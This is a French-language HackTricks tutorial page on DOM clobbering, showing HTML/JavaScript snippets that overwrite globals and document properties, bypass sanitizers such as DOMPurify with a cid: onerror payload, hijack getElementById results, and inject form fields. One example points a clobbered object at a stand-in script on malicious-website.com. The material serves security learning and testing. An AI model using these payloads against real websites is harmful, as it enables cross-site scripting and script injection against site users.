Dom Clobbering

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Fondamentaux

Il est possible de générer des variables globales à l'intérieur du contexte JS avec les attributs id et name dans les balises HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Seuls certains éléments peuvent utiliser l'attribut name pour écraser les globaux, ce sont : embed, form, iframe, image, img et object.

De manière intéressante, lorsque vous utilisez un élément de formulaire pour écraser une variable, vous obtiendrez la valeur toString de l'élément lui-même : [object HTMLFormElement] mais avec ancre le toString sera le href de l'ancre. Par conséquent, si vous écrasez en utilisant la balise a, vous pouvez contrôler la valeur lorsqu'elle est traitée comme une chaîne :

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Tableaux et Attributs

Il est également possible de surcharger un tableau et les attributs d'un objet :

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Pour écraser un 3ème attribut (par exemple x.y.z), vous devez utiliser un form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Cibler plus d'attributs est plus compliqué mais toujours possible, en utilisant des iframes :

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

La balise style est utilisée pour donner suffisamment de temps à l'iframe pour se rendre. Sans cela, vous obtiendrez une alerte indéfinie.

Pour écraser des attributs plus profonds, vous pouvez utiliser des iframes avec un encodage html de cette manière :

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Contournement de filtre

Si un filtre boucle à travers les propriétés d'un nœud en utilisant quelque chose comme document.getElementByID('x').attributes, vous pourriez écraser l'attribut .attributes et casser le filtre. D'autres propriétés DOM comme tagName, nodeName ou parentNode et d'autres encore sont également écrasables.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Écrasement de window.someObject

En JavaScript, il est courant de trouver :

var someObject = window.someObject || {};

Manipuler le HTML sur la page permet de remplacer someObject par un nœud DOM, introduisant potentiellement des vulnérabilités de sécurité. Par exemple, vous pouvez remplacer someObject par un élément d'ancre pointant vers un script malveillant :

<a id=someObject href=//malicious-website.com/malicious.js></a>

Dans un code vulnérable tel que :

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Ce méthode exploite la source du script pour exécuter du code non désiré.

Astuce: DOMPurify vous permet d'utiliser le protocole cid:, qui n'encode pas en URL les guillemets doubles. Cela signifie que vous pouvez injecter un guillemet double encodé qui sera décodé à l'exécution. Par conséquent, injecter quelque chose comme <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> fera en sorte que l'encodage HTML &quot; soit décodé à l'exécution et s'échappe de la valeur de l'attribut pour créer l'événement onerror.

Une autre technique utilise un élément form. Certaines bibliothèques côté client inspectent les attributs d'un élément de formulaire nouvellement créé pour les nettoyer. Cependant, en ajoutant un input avec id=attributes à l'intérieur du formulaire, vous écrasez efficacement la propriété des attributs, empêchant le désinfectant d'accéder aux attributs réels.

Vous pouvez trouver un exemple de ce type de clobbering dans ce compte rendu de CTF.

Écrasement de l'objet document

Selon la documentation, il est possible de remplacer les attributs de l'objet document en utilisant le DOM Clobbering:

L'interface Document prend en charge les propriétés nommées. Les noms de propriétés pris en charge d'un objet Document document à tout moment se composent des éléments suivants, dans l'ordre de l'arborescence selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec les valeurs des attributs id venant avant les valeurs des attributs name lorsque le même élément contribue aux deux :

- La valeur de l'attribut de contenu name pour tous les éléments exposés embed, form, iframe, img, et les éléments exposés object qui ont un attribut de contenu name non vide et sont dans un arbre de document avec le document comme leur racine; - La valeur de l'attribut de contenu id pour tous les éléments exposés object qui ont un attribut de contenu id non vide et sont dans un arbre de document avec le document comme leur racine; - La valeur de l'attribut id pour tous les éléments img qui ont à la fois un attribut de contenu id non vide et un attribut de contenu name non vide, et sont dans un arbre de document avec le document comme leur racine.

En utilisant cette technique, vous pouvez remplacer des valeurs couramment utilisées telles que document.cookie, document.body, document.children, et même des méthodes dans l'interface Document comme document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Écriture après l'élément écrasé

Les résultats des appels à document.getElementById() et document.querySelector() peuvent être modifiés en injectant une balise <html> ou <body> avec un attribut id identique. Voici comment cela peut être fait :

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

De plus, en utilisant des styles pour masquer ces balises HTML/body injectées, l'interférence avec d'autres textes dans le innerText peut être évitée, améliorant ainsi l'efficacité de l'attaque:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Les investigations sur SVG ont révélé qu'une balise <body> peut également être utilisée de manière efficace :

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Pour que la balise HTML fonctionne dans SVG dans des navigateurs comme Chrome et Firefox, une balise <foreignobject> est nécessaire :

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Substitution de formulaires

Il est possible d'ajouter de nouvelles entrées à l'intérieur d'un formulaire simplement en spécifiant l'attribut form à l'intérieur de certaines balises. Vous pouvez utiliser ceci pour ajouter de nouvelles valeurs à l'intérieur d'un formulaire et même ajouter un nouveau bouton pour l'envoyer (clickjacking ou en abusant de certains codes JS .click()):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
  • Pour plus d'attributs de formulaire, consultez ce lien.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Dernière mise à jour